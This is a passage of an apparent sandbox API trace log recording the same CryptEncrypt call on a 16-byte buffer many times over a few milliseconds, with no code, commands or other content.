dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.303] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.304] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.305] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, 